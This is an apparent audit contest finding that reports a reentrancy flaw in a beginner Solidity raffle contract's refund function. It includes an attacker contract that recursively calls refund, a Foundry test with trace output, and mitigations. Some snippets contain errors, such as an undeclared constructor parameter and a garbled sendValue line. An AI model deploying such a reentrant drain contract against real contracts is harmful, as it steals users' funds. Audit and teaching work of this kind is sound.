First Flight #2: Puppy Raffle
First Flight #2
Beginner FriendlyFoundryNFT
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

REENTRANCY ATTACK CAUSED BY POOR CHECKS-EFFECTS-INTERACTIONS PATTERN , COULD LEAD TO ATTACKER BEING ABLE TO EMPTY CONTRACT FUNDS

tinotendajoe01

Summary

The refund function in the PuppyRaffle contract is vulnerable to a reentrancy attack due to not checking the return values after sendValue and the improper use of the Checks-Effects-Interactions pattern. This could allow an attacker to drain funds from the contract.

Vulnerability Details

The refund function sends ether to msg.sender before setting the player's address to zero. and sending value with an unchecked call return values. This allows a malicious contract to call the refund function again before the player's address is set to zero, leading to a reentrancy attack.

PoC

A malicious contract could look like this:

contract AttackPuppyRaffle {
PuppyRaffle raffle;
​
constructor(PuppyRaffle raffle) {
raffle = _raffle;
}
​
function attack() public payable {
raffle.refund(0);
}
​
​
fallback() external payable {
if (address(raffle).balance >= msg.value) {
raffle.refund(0);
}
}
}

Here is a detailed attack path

  • Deploy set up the attack contract

contract AttackPuppyRaffle {
PuppyRaffle raffle;
​
constructor(PuppyRaffle _raffle) {
raffle = _raffle;
}
​
function attack() public payable {
​
raffle.refund(0);
​
}
​
function getContractBalance() public view returns (uint256) {
return address(this).balance;
}
​
fallback() external payable {
if (address(raffle).balance >= msg.value) {
raffle.refund(0);
}
}

  • Simulate the attack using foundry for test to trigger Attack contract deployment and call it in a raffle

forge test --match-contract PuppyRaffleTest --match-test testReentrancyAttack -vvvv
function testReentrancyAttack() public {
// Enter 4 players into the raffle
address[] memory players = new address[](4);
players[0] = playerOne;
players[1] = playerTwo;
players[2] = playerThree;
players[3] = playerFour;
​
puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
uint256 initialBalance = puppyRaffle.getContractBalance();
console.log("Initial contract balance:", initialBalance);
vm.prank(players[0]);
AttackPuppyRaffle attackContract = new AttackPuppyRaffle(puppyRaffle);
​
// Call the attack function of the AttackPuppyRaffle contract as playerOne,
vm.prank(players[0]);
attackContract.attack{value: entranceFee}();
}
}

this will trigger a recursive calls to the refund function until all the funds in PuppyRaffle are depleted shown in the logs

├─ [0] AttackPuppyRaffle::attack{value: 1000000000000000000}()
│ └─ ← "EvmError: OutOfFund"
└─ ← "EvmError: Revert"

Impact

An attacker who is a malicious player/participant in the raffle could drain all the funds from the PuppyRaffle contract, leading to a loss of funds for all players.

Tools Used

  • Foundry

Recommendations

To mitigate this vulnerability, the Checks-Effects-Interactions pattern should be properly implemented. The state of the contract should be updated before calling external contracts. In this case, players[playerIndex] = address(0); should be moved before payable(msg.sender).sendValue(entranceFee);.

function refund(uint256 playerIndex) public {
​
address playerAddress = players[playerIndex];
//CHECKS
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
​
//EFFECTs
+ players[playerIndex] = address(0);
//INTERACTIONS (bool success, )= payable(msg.sender).sendValue(entranceFee);
require(success, "PuppyRaffle: Refund failed");
​
​
- players[playerIndex] = address(0);
emit RaffleRefunded(playerAddress);
}

  • To prevent further attack, you must use the transfer function instead of sendValue. The transfer function also sends Ether, but it only forwards a limited amount of gas, preventing the called contract from performing complex operations like calling back into the calling contract.

  • if there are unknown risks which may be introduced through permissionless operation of the raffle, a reentrancyGuard may be used as a way to ensure there is no way to call the function more than once within the same call frame

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract PuppyRaffle is ERC721, Ownable, ReentrancyGuard {
// ...
function refund(uint256 playerIndex) public nonReentrant {
address playerAddress = players[playerIndex];
​
// Checks
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
require(address(this).balance >= entranceFee, "PuppyRaffle: Not enough funds to issue refund");
​
// Effects
players[playerIndex] = address(0);
​
// Interactions
(bool success, ) = payable(msg.sender).call{value: entranceFee}("");
require(success, "PuppyRaffle: Refund failed");
​
emit RaffleRefunded(playerAddress);
}
}

-The nonReentrant modifier ensures that the function cannot be re-entered while it's being executed, which protects against reentrancy attacks.

Updates

Lead Judging Commences

Hamiltonite Lead Judge about 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

reentrancy-in-refund

reentrancy in refund() function

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!